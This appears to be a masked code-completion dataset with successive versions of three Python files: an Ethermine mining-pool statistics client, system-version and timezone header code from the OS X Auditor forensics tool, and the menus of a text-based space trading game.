<mask token> class EtherminePool(BasePool): <mask token> <mask token> <mask token> <mask token> def build_creation_parameters(self, pool, pool_attrs, pool_classname): params = super(EtherminePool, self).build_creation_parameters(pool, pool_attrs, pool_classname) server_location = 'US' if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'): server_location = 'Europe' elif pool.startswith('us1-etc'): server_location = 'US' elif pool.startswith('us1.eth'): server_location = 'US East' elif pool.startswith('us2.eth'): server_location = 'US West' elif pool.startswith('asia1.eth'): server_location = 'Asia' params['unique_id' ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')' return params <mask token> def get_worker_stats(self, miner, worker): url = self._MINER_URL_PER_WORKER.replace('{MINER}', self. _clean_coin_address(miner)).replace('{WORKER}', worker) api = RestAPI(url=url, port=80) return api.get_json() def get_miner_stats(self, miner): url = self._MINER_URL_PER_MINER.replace('{MINER}', self. _clean_coin_address(miner)) api = RestAPI(url=url, port=80) return api.get_json() def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url): if algo == 'ethash': algo_idx = get_algo_index('daggerhashimoto') else: algo_idx = get_algo_index(algo) if algo_idx is -1: return False coin_idx = get_coin_index(self._DEFAULT_COIN_) coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD') success = False json = self.get_worker_stats(miner, worker) if json: success = self.parse_json(json, results, miner, worker, pool_id, algo, algo_idx, coin_idx, coin_cost) return success def parse_json(self, json, results, miner, worker, pool, algo, algo_idx, coin_idx, coin_cost): record = json['data'] if record == 'NO DATA': miner_coin_idx = None if hasattr(miner, 'coin_idx'): miner_coin_idx = miner.coin if miner_coin_idx is None or miner_coin_idx != coin_idx: miner.coin_address = '' return False speed_suffix = 'H' try: speed_accepted = float(record['currentHashrate']) except: speed_accepted = 0.0 try: speed_reported = float(record['reportedHashrate']) except: speed_reported = None json_miner_stats = self.get_miner_stats(miner) record_miner_stats = json_miner_stats['data'] try: coins_per_minute = float(record_miner_stats['coinsPerMin']) except: coins_per_minute = 0.0 try: active_workers = float(record_miner_stats['activeWorkers']) except: active_workers = 1 profitability = coins_per_minute * (60 * 24 ) / speed_accepted / active_workers results.populate_pool_results(miner, worker, pool, algo, algo_idx, coin_idx, coin_cost, profitability, speed_accepted, speed_reported, speed_suffix) return True
<mask token> class EtherminePool(BasePool): <mask token> <mask token> <mask token> def __init__(self, pool, pool_attrs): super(EtherminePool, self).__init__(pool, pool_attrs) def build_creation_parameters(self, pool, pool_attrs, pool_classname): params = super(EtherminePool, self).build_creation_parameters(pool, pool_attrs, pool_classname) server_location = 'US' if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'): server_location = 'Europe' elif pool.startswith('us1-etc'): server_location = 'US' elif pool.startswith('us1.eth'): server_location = 'US East' elif pool.startswith('us2.eth'): server_location = 'US West' elif pool.startswith('asia1.eth'): server_location = 'Asia' params['unique_id' ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')' return params <mask token> def get_worker_stats(self, miner, worker): url = self._MINER_URL_PER_WORKER.replace('{MINER}', self. _clean_coin_address(miner)).replace('{WORKER}', worker) api = RestAPI(url=url, port=80) return api.get_json() def get_miner_stats(self, miner): url = self._MINER_URL_PER_MINER.replace('{MINER}', self. _clean_coin_address(miner)) api = RestAPI(url=url, port=80) return api.get_json() def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url): if algo == 'ethash': algo_idx = get_algo_index('daggerhashimoto') else: algo_idx = get_algo_index(algo) if algo_idx is -1: return False coin_idx = get_coin_index(self._DEFAULT_COIN_) coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD') success = False json = self.get_worker_stats(miner, worker) if json: success = self.parse_json(json, results, miner, worker, pool_id, algo, algo_idx, coin_idx, coin_cost) return success def parse_json(self, json, results, miner, worker, pool, algo, algo_idx, coin_idx, coin_cost): record = json['data'] if record == 'NO DATA': miner_coin_idx = None if hasattr(miner, 'coin_idx'): miner_coin_idx = miner.coin if miner_coin_idx is None or miner_coin_idx != coin_idx: miner.coin_address = '' return False speed_suffix = 'H' try: speed_accepted = float(record['currentHashrate']) except: speed_accepted = 0.0 try: speed_reported = float(record['reportedHashrate']) except: speed_reported = None json_miner_stats = self.get_miner_stats(miner) record_miner_stats = json_miner_stats['data'] try: coins_per_minute = float(record_miner_stats['coinsPerMin']) except: coins_per_minute = 0.0 try: active_workers = float(record_miner_stats['activeWorkers']) except: active_workers = 1 profitability = coins_per_minute * (60 * 24 ) / speed_accepted / active_workers results.populate_pool_results(miner, worker, pool, algo, algo_idx, coin_idx, coin_cost, profitability, speed_accepted, speed_reported, speed_suffix) return True
<mask token> class EtherminePool(BasePool): <mask token> <mask token> <mask token> def __init__(self, pool, pool_attrs): super(EtherminePool, self).__init__(pool, pool_attrs) def build_creation_parameters(self, pool, pool_attrs, pool_classname): params = super(EtherminePool, self).build_creation_parameters(pool, pool_attrs, pool_classname) server_location = 'US' if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'): server_location = 'Europe' elif pool.startswith('us1-etc'): server_location = 'US' elif pool.startswith('us1.eth'): server_location = 'US East' elif pool.startswith('us2.eth'): server_location = 'US West' elif pool.startswith('asia1.eth'): server_location = 'Asia' params['unique_id' ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')' return params def _clean_coin_address(self, miner): coin_address = miner.coin_address.lower() if coin_address.startswith('0x'): coin_address = coin_address[2:] elif coin_address.startswith('#0x'): coin_address = coin_address[3:] return coin_address def get_worker_stats(self, miner, worker): url = self._MINER_URL_PER_WORKER.replace('{MINER}', self. _clean_coin_address(miner)).replace('{WORKER}', worker) api = RestAPI(url=url, port=80) return api.get_json() def get_miner_stats(self, miner): url = self._MINER_URL_PER_MINER.replace('{MINER}', self. _clean_coin_address(miner)) api = RestAPI(url=url, port=80) return api.get_json() def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url): if algo == 'ethash': algo_idx = get_algo_index('daggerhashimoto') else: algo_idx = get_algo_index(algo) if algo_idx is -1: return False coin_idx = get_coin_index(self._DEFAULT_COIN_) coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD') success = False json = self.get_worker_stats(miner, worker) if json: success = self.parse_json(json, results, miner, worker, pool_id, algo, algo_idx, coin_idx, coin_cost) return success def parse_json(self, json, results, miner, worker, pool, algo, algo_idx, coin_idx, coin_cost): record = json['data'] if record == 'NO DATA': miner_coin_idx = None if hasattr(miner, 'coin_idx'): miner_coin_idx = miner.coin if miner_coin_idx is None or miner_coin_idx != coin_idx: miner.coin_address = '' return False speed_suffix = 'H' try: speed_accepted = float(record['currentHashrate']) except: speed_accepted = 0.0 try: speed_reported = float(record['reportedHashrate']) except: speed_reported = None json_miner_stats = self.get_miner_stats(miner) record_miner_stats = json_miner_stats['data'] try: coins_per_minute = float(record_miner_stats['coinsPerMin']) except: coins_per_minute = 0.0 try: active_workers = float(record_miner_stats['activeWorkers']) except: active_workers = 1 profitability = coins_per_minute * (60 * 24 ) / speed_accepted / active_workers results.populate_pool_results(miner, worker, pool, algo, algo_idx, coin_idx, coin_cost, profitability, speed_accepted, speed_reported, speed_suffix) return True
<mask token> class EtherminePool(BasePool): _MINER_URL_PER_WORKER = ( 'https://api.ethermine.org/miner/:{MINER}/worker/:{WORKER}/currentStats' ) _MINER_URL_PER_MINER = ( 'https://api.ethermine.org/miner/:{MINER}/currentStats') _DEFAULT_COIN_ = 'ETH' def __init__(self, pool, pool_attrs): super(EtherminePool, self).__init__(pool, pool_attrs) def build_creation_parameters(self, pool, pool_attrs, pool_classname): params = super(EtherminePool, self).build_creation_parameters(pool, pool_attrs, pool_classname) server_location = 'US' if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'): server_location = 'Europe' elif pool.startswith('us1-etc'): server_location = 'US' elif pool.startswith('us1.eth'): server_location = 'US East' elif pool.startswith('us2.eth'): server_location = 'US West' elif pool.startswith('asia1.eth'): server_location = 'Asia' params['unique_id' ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')' return params def _clean_coin_address(self, miner): coin_address = miner.coin_address.lower() if coin_address.startswith('0x'): coin_address = coin_address[2:] elif coin_address.startswith('#0x'): coin_address = coin_address[3:] return coin_address def get_worker_stats(self, miner, worker): url = self._MINER_URL_PER_WORKER.replace('{MINER}', self. _clean_coin_address(miner)).replace('{WORKER}', worker) api = RestAPI(url=url, port=80) return api.get_json() def get_miner_stats(self, miner): url = self._MINER_URL_PER_MINER.replace('{MINER}', self. _clean_coin_address(miner)) api = RestAPI(url=url, port=80) return api.get_json() def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url): if algo == 'ethash': algo_idx = get_algo_index('daggerhashimoto') else: algo_idx = get_algo_index(algo) if algo_idx is -1: return False coin_idx = get_coin_index(self._DEFAULT_COIN_) coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD') success = False json = self.get_worker_stats(miner, worker) if json: success = self.parse_json(json, results, miner, worker, pool_id, algo, algo_idx, coin_idx, coin_cost) return success def parse_json(self, json, results, miner, worker, pool, algo, algo_idx, coin_idx, coin_cost): record = json['data'] if record == 'NO DATA': miner_coin_idx = None if hasattr(miner, 'coin_idx'): miner_coin_idx = miner.coin if miner_coin_idx is None or miner_coin_idx != coin_idx: miner.coin_address = '' return False speed_suffix = 'H' try: speed_accepted = float(record['currentHashrate']) except: speed_accepted = 0.0 try: speed_reported = float(record['reportedHashrate']) except: speed_reported = None json_miner_stats = self.get_miner_stats(miner) record_miner_stats = json_miner_stats['data'] try: coins_per_minute = float(record_miner_stats['coinsPerMin']) except: coins_per_minute = 0.0 try: active_workers = float(record_miner_stats['activeWorkers']) except: active_workers = 1 profitability = coins_per_minute * (60 * 24 ) / speed_accepted / active_workers results.populate_pool_results(miner, worker, pool, algo, algo_idx, coin_idx, coin_cost, profitability, speed_accepted, speed_reported, speed_suffix) return True
# ethermine.py, Copyright (c) 2019, Nicholas Saparoff <[email protected]>: Original implementation from minermedic.pools.base_pool import BasePool from phenome_core.util.rest_api import RestAPI from minermedic.pools.helper import get_algo_index, get_coin_index, get_coin_cost """ EtherminePool This is the main Pool API for Ethermine. SEE: https://ethermine.org/api/worker#monitoring """ class EtherminePool(BasePool): # PER WORKER _MINER_URL_PER_WORKER = "https://api.ethermine.org/miner/:{MINER}/worker/:{WORKER}/currentStats" # PER MINER _MINER_URL_PER_MINER = "https://api.ethermine.org/miner/:{MINER}/currentStats" # with Ethermine, the coin is Usually ETH, but could be ETC or ZCASH _DEFAULT_COIN_ = "ETH" def __init__(self, pool, pool_attrs): super(EtherminePool, self).__init__(pool, pool_attrs) def build_creation_parameters(self, pool, pool_attrs, pool_classname): # get the default creation parameters params = super(EtherminePool, self).build_creation_parameters(pool, pool_attrs, pool_classname) server_location = "US" if pool.startswith("eu1.etc") or pool.startswith("eu1.eth"): server_location = "Europe" elif pool.startswith("us1-etc"): server_location = "US" elif pool.startswith("us1.eth"): server_location = "US East" elif pool.startswith("us2.eth"): server_location = "US West" elif pool.startswith("asia1.eth"): server_location = "Asia" # Set the unique ID of the pool (give it a NAME, as the URL/IP may change) # POOL - LOCATION (COIN) params['unique_id'] = "ETHERMINE - " + server_location + " (" + self._DEFAULT_COIN_ + ")" return params def _clean_coin_address(self, miner): coin_address = miner.coin_address.lower() if coin_address.startswith('0x'): coin_address = coin_address[2:] elif coin_address.startswith('#0x'): coin_address = coin_address[3:] return coin_address def get_worker_stats(self, miner, worker): # build the miner URL url = self._MINER_URL_PER_WORKER.replace("{MINER}",self._clean_coin_address(miner)).replace("{WORKER}",worker) api = RestAPI(url=url, port=80) return api.get_json() def get_miner_stats(self, miner): # build the miner URL url = self._MINER_URL_PER_MINER.replace("{MINER}", self._clean_coin_address(miner)) api = RestAPI(url=url, port=80) return api.get_json() def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url): if algo == 'ethash': algo_idx = get_algo_index('daggerhashimoto') else: algo_idx = get_algo_index(algo) if algo_idx is -1: return False coin_idx = get_coin_index(self._DEFAULT_COIN_) # get the cost of the coin # TODO - get the currency from the config, do not assume USD coin_cost = get_coin_cost(self._DEFAULT_COIN_,'USD') success = False json = self.get_worker_stats(miner, worker) if json: success = self.parse_json(json, results, miner, worker, pool_id, algo, algo_idx, coin_idx, coin_cost) return success def parse_json(self, json, results, miner, worker, pool, algo, algo_idx, coin_idx, coin_cost): # get the record record = json['data'] if record == 'NO DATA': # check coin switch? miner_coin_idx = None if hasattr(miner, 'coin_idx'): # we have been mining so far miner_coin_idx = miner.coin if miner_coin_idx is None or miner_coin_idx != coin_idx: # reset the coin address, maybe switched coin miner.coin_address = '' # no data, just fail return False # API call results, speed is in units of Hashes speed_suffix = 'H' try: # get accepted hashrate speed_accepted = float(record['currentHashrate']) except: speed_accepted = 0.0 try: # get "reported" hashrate speed_reported = float(record['reportedHashrate']) except: speed_reported = None # now get the miner stats for profitability json_miner_stats = self.get_miner_stats(miner) # get the record record_miner_stats = json_miner_stats['data'] try: coins_per_minute = float(record_miner_stats['coinsPerMin']) except: coins_per_minute = 0.0 try: active_workers = float(record_miner_stats['activeWorkers']) except: active_workers = 1 # profitability is a measure of COIN / speed suffix / per DAY # ETHERMINE only gives coin estimates per MINER per MINUTE, not per WORKER # so we need to average it out by dividing by the # of active workers profitability = ((coins_per_minute * (60 * 24))/speed_accepted)/active_workers # finally set the API results into the main results object results.populate_pool_results(miner, worker, pool, algo, algo_idx, coin_idx, coin_cost, profitability, speed_accepted, speed_reported, speed_suffix) # if we got here, we were successful return True
[ 6, 7, 8, 9, 11 ]
9,959
547d67bce7eb05e55e02c73a22342ca572e89f39
<mask token> def GetAuditedSystemVersion(): global OSX_VERSION SysVersion = 'Unknown system version' SystemVersionPlist = False SystemVersionPlist = core.UniversalReadPlist( '/System/Library/CoreServices/SystemVersion.plist') if SystemVersionPlist: if 'ProductName' in SystemVersionPlist: SysVersion = SystemVersionPlist['ProductName'] if 'ProductVersion' in SystemVersionPlist: SysVersion += ' ' + SystemVersionPlist['ProductVersion'] if 'ProductBuildVersion' in SystemVersionPlist: SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion'] OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[ 'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[ 'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[ 'ProductVersion'].split('.')[0]), 'MinorVersion': int( SystemVersionPlist['ProductVersion'].split('.')[1]), 'PatchVersion': int(SystemVersionPlist['ProductVersion'].split( '.')[2])} else: log.PrintAndLog(u'Cannot determine the system version', 'ERROR') return SysVersion def GetAuditedSystemTimezone(): """ Return the current system timezone """ Timezone = False try: Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime')) Timezone = Timezone.split('/') except Exception as e: PrintAndLog(u'Cannot read the timezone' + str(e.args).decode( 'utf-8'), 'ERROR') return Timezone[-2] + '/' + Timezone[-1]
<mask token> def generate_header(): header = {} description = ('Report generated by ' + __description__ + ' v' + __version__ + ' on ' + time.strftime('%x %X %Z') + ' running as ' + Euid + '/' + Egid) header['description'] = description audit_path = 'Audited system path: ' + ROOT_PATH.decode('utf-8') header['audit_path'] = audit_path AuditedSystemVersion = GetAuditedSystemVersion() sysv = 'Version of the audited system: ' + AuditedSystemVersion header['system_version'] = sysv Timezone = GetAuditedSystemTimezone() tz = 'Current timezone of the audited system: ' + Timezone header['timezone'] = tz return header def GetAuditedSystemVersion(): global OSX_VERSION SysVersion = 'Unknown system version' SystemVersionPlist = False SystemVersionPlist = core.UniversalReadPlist( '/System/Library/CoreServices/SystemVersion.plist') if SystemVersionPlist: if 'ProductName' in SystemVersionPlist: SysVersion = SystemVersionPlist['ProductName'] if 'ProductVersion' in SystemVersionPlist: SysVersion += ' ' + SystemVersionPlist['ProductVersion'] if 'ProductBuildVersion' in SystemVersionPlist: SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion'] OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[ 'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[ 'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[ 'ProductVersion'].split('.')[0]), 'MinorVersion': int( SystemVersionPlist['ProductVersion'].split('.')[1]), 'PatchVersion': int(SystemVersionPlist['ProductVersion'].split( '.')[2])} else: log.PrintAndLog(u'Cannot determine the system version', 'ERROR') return SysVersion def GetAuditedSystemTimezone(): """ Return the current system timezone """ Timezone = False try: Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime')) Timezone = Timezone.split('/') except Exception as e: PrintAndLog(u'Cannot read the timezone' + str(e.args).decode( 'utf-8'), 'ERROR') return Timezone[-2] + '/' + Timezone[-1]
<mask token> __description__ = 'OS X Auditor' __author__ = 'Atarimaster & @Jipe_' __version__ = '0.5.0' ROOT_PATH = '/' Euid = str(os.geteuid()) Egid = str(os.getegid()) def generate_header(): header = {} description = ('Report generated by ' + __description__ + ' v' + __version__ + ' on ' + time.strftime('%x %X %Z') + ' running as ' + Euid + '/' + Egid) header['description'] = description audit_path = 'Audited system path: ' + ROOT_PATH.decode('utf-8') header['audit_path'] = audit_path AuditedSystemVersion = GetAuditedSystemVersion() sysv = 'Version of the audited system: ' + AuditedSystemVersion header['system_version'] = sysv Timezone = GetAuditedSystemTimezone() tz = 'Current timezone of the audited system: ' + Timezone header['timezone'] = tz return header def GetAuditedSystemVersion(): global OSX_VERSION SysVersion = 'Unknown system version' SystemVersionPlist = False SystemVersionPlist = core.UniversalReadPlist( '/System/Library/CoreServices/SystemVersion.plist') if SystemVersionPlist: if 'ProductName' in SystemVersionPlist: SysVersion = SystemVersionPlist['ProductName'] if 'ProductVersion' in SystemVersionPlist: SysVersion += ' ' + SystemVersionPlist['ProductVersion'] if 'ProductBuildVersion' in SystemVersionPlist: SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion'] OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[ 'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[ 'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[ 'ProductVersion'].split('.')[0]), 'MinorVersion': int( SystemVersionPlist['ProductVersion'].split('.')[1]), 'PatchVersion': int(SystemVersionPlist['ProductVersion'].split( '.')[2])} else: log.PrintAndLog(u'Cannot determine the system version', 'ERROR') return SysVersion def GetAuditedSystemTimezone(): """ Return the current system timezone """ Timezone = False try: Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime')) Timezone = Timezone.split('/') except Exception as e: PrintAndLog(u'Cannot read the timezone' + str(e.args).decode( 'utf-8'), 'ERROR') return Timezone[-2] + '/' + Timezone[-1]
import os import log import core import time __description__ = 'OS X Auditor' __author__ = 'Atarimaster & @Jipe_' __version__ = '0.5.0' ROOT_PATH = '/' Euid = str(os.geteuid()) Egid = str(os.getegid()) def generate_header(): header = {} description = ('Report generated by ' + __description__ + ' v' + __version__ + ' on ' + time.strftime('%x %X %Z') + ' running as ' + Euid + '/' + Egid) header['description'] = description audit_path = 'Audited system path: ' + ROOT_PATH.decode('utf-8') header['audit_path'] = audit_path AuditedSystemVersion = GetAuditedSystemVersion() sysv = 'Version of the audited system: ' + AuditedSystemVersion header['system_version'] = sysv Timezone = GetAuditedSystemTimezone() tz = 'Current timezone of the audited system: ' + Timezone header['timezone'] = tz return header def GetAuditedSystemVersion(): global OSX_VERSION SysVersion = 'Unknown system version' SystemVersionPlist = False SystemVersionPlist = core.UniversalReadPlist( '/System/Library/CoreServices/SystemVersion.plist') if SystemVersionPlist: if 'ProductName' in SystemVersionPlist: SysVersion = SystemVersionPlist['ProductName'] if 'ProductVersion' in SystemVersionPlist: SysVersion += ' ' + SystemVersionPlist['ProductVersion'] if 'ProductBuildVersion' in SystemVersionPlist: SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion'] OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[ 'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[ 'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[ 'ProductVersion'].split('.')[0]), 'MinorVersion': int( SystemVersionPlist['ProductVersion'].split('.')[1]), 'PatchVersion': int(SystemVersionPlist['ProductVersion'].split( '.')[2])} else: log.PrintAndLog(u'Cannot determine the system version', 'ERROR') return SysVersion def GetAuditedSystemTimezone(): """ Return the current system timezone """ Timezone = False try: Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime')) Timezone = Timezone.split('/') except Exception as e: PrintAndLog(u'Cannot read the timezone' + str(e.args).decode( 'utf-8'), 'ERROR') return Timezone[-2] + '/' + Timezone[-1]
import os import log import core import time __description__ = 'OS X Auditor' __author__ = 'Atarimaster & @Jipe_' __version__ = '0.5.0' ROOT_PATH = '/' Euid = str(os.geteuid()) Egid = str(os.getegid()) def generate_header(): header = {} # Description(Audited By) description = "Report generated by " + __description__ + " v" + __version__ + " on " + time.strftime('%x %X %Z') + " running as " + Euid + "/" + Egid header['description'] = description # Audited Path audit_path = "Audited system path: " + ROOT_PATH.decode("utf-8") header['audit_path'] = audit_path # System Version AuditedSystemVersion = GetAuditedSystemVersion() sysv = "Version of the audited system: " + AuditedSystemVersion header['system_version'] = sysv # Current Timezone Timezone = GetAuditedSystemTimezone() tz = "Current timezone of the audited system: " + Timezone header['timezone'] = tz return header def GetAuditedSystemVersion(): global OSX_VERSION SysVersion = "Unknown system version" SystemVersionPlist = False SystemVersionPlist = core.UniversalReadPlist("/System/Library/CoreServices/SystemVersion.plist") if SystemVersionPlist: if "ProductName" in SystemVersionPlist: SysVersion = SystemVersionPlist["ProductName"] if "ProductVersion" in SystemVersionPlist: SysVersion += " " + SystemVersionPlist["ProductVersion"] if "ProductBuildVersion" in SystemVersionPlist: SysVersion += " build " + SystemVersionPlist["ProductBuildVersion"] OSX_VERSION = { "ProductBuildVersion": SystemVersionPlist["ProductBuildVersion"], "ProductVersion": SystemVersionPlist["ProductVersion"], "MajorVersion": int(SystemVersionPlist["ProductVersion"].split('.')[0]), "MinorVersion": int(SystemVersionPlist["ProductVersion"].split('.')[1]), "PatchVersion": int(SystemVersionPlist["ProductVersion"].split('.')[2]) } else: log.PrintAndLog(u"Cannot determine the system version", "ERROR") return SysVersion def GetAuditedSystemTimezone(): """ Return the current system timezone """ Timezone = False try: Timezone = os.path.realpath(os.path.join(ROOT_PATH, "etc/localtime")) Timezone = Timezone.split("/") except Exception as e: PrintAndLog(u"Cannot read the timezone" + str(e.args).decode("utf-8"), "ERROR") return Timezone[-2] + "/" + Timezone[-1]
[ 2, 3, 4, 5, 6 ]
9,960
97611fef5faafe660c7640e4a5aec8456e52135c
<mask token> def shipyardMenu(player, planet): while True: cleanScreen() print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****') player.printStats() print('**********************************************************') shipList = planet.getShipyard() print('Available Ships:') print('**********************************************************') i = 0 for s in shipList: print('Nr.:' + str(i) + ':' + s.toString()) i += 1 print('**********************************************************') userInput = input( 'Enter the number you would like to by or x to leave:') if userInput == 'x': break else: ui = int(userInput) if ui <= i: if player.getCredits() > shipList[ui].getPrice(): if type(shipList[ui]) == FighterShip: player.addFighterShip(shipList[ui]) player.updateFirePower() else: player.addCargoShip(shipList[ui]) player.updateCargoUnits() player.setCredits(player.getCredits() - shipList[ui]. getPrice()) player.updateMaintenance() del shipList[ui] else: print('wrong number, try again ....') def spacePortMenu(player, planet): global turnCounter while True: cleanScreen() print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****') print('Enter 1 to jump to a agri planet (risk 5%)') print('Enter 2 to jump to a tech planet (risk 10%)') print('Enter 3 to jump to a war planet (risk 20%)') userInput = input('Or enter x to exit:') risk = 0 if userInput == 'x': return planet elif userInput == '1': risk = 5 elif userInput == '2': risk = 10 else: risk = 20 if random.randint(0, 100) <= risk: spacePirates(player) player.setCredits(player.getCredits() - player.getTotalMaintenance()) turnCounter += 1 return Planet.Planet(int(userInput)) def marketMenu(player, planet): while True: cleanScreen() print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******') player.printStats() print('**********************************************************') market = planet.getMarket() print('Price for Food = ', market['Food']) print('Price for Tech = ', market['Tech']) print('**********************************************************') userInput = input('Enter 1 for Food, 2 for Tech or x for exit:') str = '' if userInput == '1': str = 'Food' elif userInput == '2': str = 'Tech' else: break print('**********************************************************') max = 0 if market[str] * player.freeCargoUnits <= player.getCredits(): max = player.freeCargoUnits else: max = int(player.getCredits() / market[str]) print('Price for ' + str + ' = ', market[str]) secondInput = input( 'Would you like to buy (enter b) or sell (enter s)?') if secondInput == 'b': print('You can buy a maximum of', max, 'units') nr = input('How much would you like to buy? Or press x to exit') if nr == 'x': pass else: nr = int(nr) if player.getCredits() > market[str] * nr and nr <= max: if str == 'Food': player.addFood(nr) else: player.addTech(nr) player.setCredits(player.getCredits() - market[str] * nr) player.updateCargoUnits() elif str == 'Food': print('You can sell a maximum of', player.getFood(), 'food units') nr = input('How much would you like to sell? Or press x to exit') if nr == 'x': pass else: nr = int(nr) if nr <= player.getFood(): player.sellFood(nr) player.setCredits(player.getCredits() + nr * market['Food'] ) else: print('You can sell a maximum of', player.getTech(), 'tech units') nr = input('How much would you like to sell? Or press x to exit') if nr == 'x': pass else: nr = int(nr) if nr <= player.getTech(): player.sellTech(nr) player.setCredits(player.getCredits() + nr * market['Tech'] ) def menu(player): global turnCounter notFinished = True planet = Planet.Planet(random.randint(1, 3)) while notFinished: cleanScreen() if player.getCredits() < 0: print( 'Sorry, but you ran out of credits and therefore lost the game in round,' , turnCounter, '!') break print('**********************************************************') print('Turn nr.', turnCounter, 'in this glorious space trading simulation') player.printStats() print('**********************************************************') print('You are on Planet:', planet.getName()) print('**********************************************************') print('Enter 1 to go to the shipyard') print('Enter 2 to go to the market') print('Enter 3 to go to the spaceport') print('Enter exit to leave the game') userinput = input('Your Input:') if userinput == '1': shipyardMenu(player, planet) elif userinput == '2': marketMenu(player, planet) elif userinput == '3': planet = spacePortMenu(player, planet) else: notFinished = False <mask token>
<mask token> def cleanScreen(): for i in range(0, 50): print('') <mask token> def shipyardMenu(player, planet): while True: cleanScreen() print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****') player.printStats() print('**********************************************************') shipList = planet.getShipyard() print('Available Ships:') print('**********************************************************') i = 0 for s in shipList: print('Nr.:' + str(i) + ':' + s.toString()) i += 1 print('**********************************************************') userInput = input( 'Enter the number you would like to by or x to leave:') if userInput == 'x': break else: ui = int(userInput) if ui <= i: if player.getCredits() > shipList[ui].getPrice(): if type(shipList[ui]) == FighterShip: player.addFighterShip(shipList[ui]) player.updateFirePower() else: player.addCargoShip(shipList[ui]) player.updateCargoUnits() player.setCredits(player.getCredits() - shipList[ui]. getPrice()) player.updateMaintenance() del shipList[ui] else: print('wrong number, try again ....') def spacePortMenu(player, planet): global turnCounter while True: cleanScreen() print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****') print('Enter 1 to jump to a agri planet (risk 5%)') print('Enter 2 to jump to a tech planet (risk 10%)') print('Enter 3 to jump to a war planet (risk 20%)') userInput = input('Or enter x to exit:') risk = 0 if userInput == 'x': return planet elif userInput == '1': risk = 5 elif userInput == '2': risk = 10 else: risk = 20 if random.randint(0, 100) <= risk: spacePirates(player) player.setCredits(player.getCredits() - player.getTotalMaintenance()) turnCounter += 1 return Planet.Planet(int(userInput)) def marketMenu(player, planet): while True: cleanScreen() print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******') player.printStats() print('**********************************************************') market = planet.getMarket() print('Price for Food = ', market['Food']) print('Price for Tech = ', market['Tech']) print('**********************************************************') userInput = input('Enter 1 for Food, 2 for Tech or x for exit:') str = '' if userInput == '1': str = 'Food' elif userInput == '2': str = 'Tech' else: break print('**********************************************************') max = 0 if market[str] * player.freeCargoUnits <= player.getCredits(): max = player.freeCargoUnits else: max = int(player.getCredits() / market[str]) print('Price for ' + str + ' = ', market[str]) secondInput = input( 'Would you like to buy (enter b) or sell (enter s)?') if secondInput == 'b': print('You can buy a maximum of', max, 'units') nr = input('How much would you like to buy? Or press x to exit') if nr == 'x': pass else: nr = int(nr) if player.getCredits() > market[str] * nr and nr <= max: if str == 'Food': player.addFood(nr) else: player.addTech(nr) player.setCredits(player.getCredits() - market[str] * nr) player.updateCargoUnits() elif str == 'Food': print('You can sell a maximum of', player.getFood(), 'food units') nr = input('How much would you like to sell? Or press x to exit') if nr == 'x': pass else: nr = int(nr) if nr <= player.getFood(): player.sellFood(nr) player.setCredits(player.getCredits() + nr * market['Food'] ) else: print('You can sell a maximum of', player.getTech(), 'tech units') nr = input('How much would you like to sell? Or press x to exit') if nr == 'x': pass else: nr = int(nr) if nr <= player.getTech(): player.sellTech(nr) player.setCredits(player.getCredits() + nr * market['Tech'] ) def menu(player): global turnCounter notFinished = True planet = Planet.Planet(random.randint(1, 3)) while notFinished: cleanScreen() if player.getCredits() < 0: print( 'Sorry, but you ran out of credits and therefore lost the game in round,' , turnCounter, '!') break print('**********************************************************') print('Turn nr.', turnCounter, 'in this glorious space trading simulation') player.printStats() print('**********************************************************') print('You are on Planet:', planet.getName()) print('**********************************************************') print('Enter 1 to go to the shipyard') print('Enter 2 to go to the market') print('Enter 3 to go to the spaceport') print('Enter exit to leave the game') userinput = input('Your Input:') if userinput == '1': shipyardMenu(player, planet) elif userinput == '2': marketMenu(player, planet) elif userinput == '3': planet = spacePortMenu(player, planet) else: notFinished = False <mask token>
